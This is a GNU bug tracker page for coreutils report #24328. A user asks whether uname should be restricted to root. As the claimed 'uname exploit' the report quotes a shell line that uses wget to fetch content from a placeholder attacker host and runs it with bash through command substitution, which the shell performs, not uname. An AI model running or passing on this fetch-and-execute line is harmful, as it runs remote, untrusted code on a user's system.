GNU bug report logs - #24328
uname exploit

Previous Next

Package: coreutils;

Reported by: Shane <linuxshane <at> gmail.com>

Date: Mon, 29 Aug 2016 15:28:01 UTC

Severity: normal

Done: Paul Eggert <eggert <at> cs.ucla.edu>

Bug is archived. No further changes may be made.

Full log

Message #5 received at submit <at> debbugs.gnu.org (full text, mbox):

From: Shane <linuxshane <at> gmail.com>
To: bug-coreutils <at> gnu.org
Subject: uname exploit
Date: Mon, 29 Aug 2016 02:25:03 -0500

Hi, I am unsure if you have seen this, but I am concerned about this - 
can or should uname be restricted to root use only?

uname \"$(bash -c \\\"$(wget http://badguyurl.com )\\\")\"
This bug report was last modified 8 years and 330 days ago.

Previous Next

GNU bug tracking system
Copyright (C) 1999 Darren O. Benham, 1997,2003 nCipher Corporation Ltd, 1994-97 Ian Jackson.